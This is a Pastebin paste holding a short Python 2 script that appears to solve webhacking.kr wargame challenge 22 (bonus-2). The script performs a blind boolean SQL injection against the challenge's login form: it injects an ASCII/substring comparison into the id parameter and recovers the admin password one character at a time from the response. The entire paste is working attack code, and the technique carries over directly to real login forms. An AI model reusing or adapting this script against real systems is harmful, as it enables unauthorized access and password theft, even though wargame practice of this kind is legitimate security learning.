hdarwin

webhacking.kr_22

Dec 29th, 2012
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.50 KB | None | 0 0
  1. import urllib2, re, urllib
  2. session = ""
  3. p = re.compile("Wrong password!")
  4. for y in range(1,33):
  5.  for x in range(38,128):
  6.   url = "http://webhacking.kr/challenge/bonus/bonus-2/index.php"
  7.   data = {"id":"admin' and (select ascii(substr(pw,"+str(y)+",1))) = '"+str(x)+"'#", "pw":"qwer"}
  8.   data = urllib.urlencode(data)
  9.   req = urllib2.Request(url, data)
  10.   req.add_header("Cookie", "PHPSESSID="+session)
  11.   result = urllib2.urlopen(req).read()
  12.   if len(p.findall(result)) == 1:
  13.    print chr(x),
  14.    break
Add Comment
Please, Sign In to add comment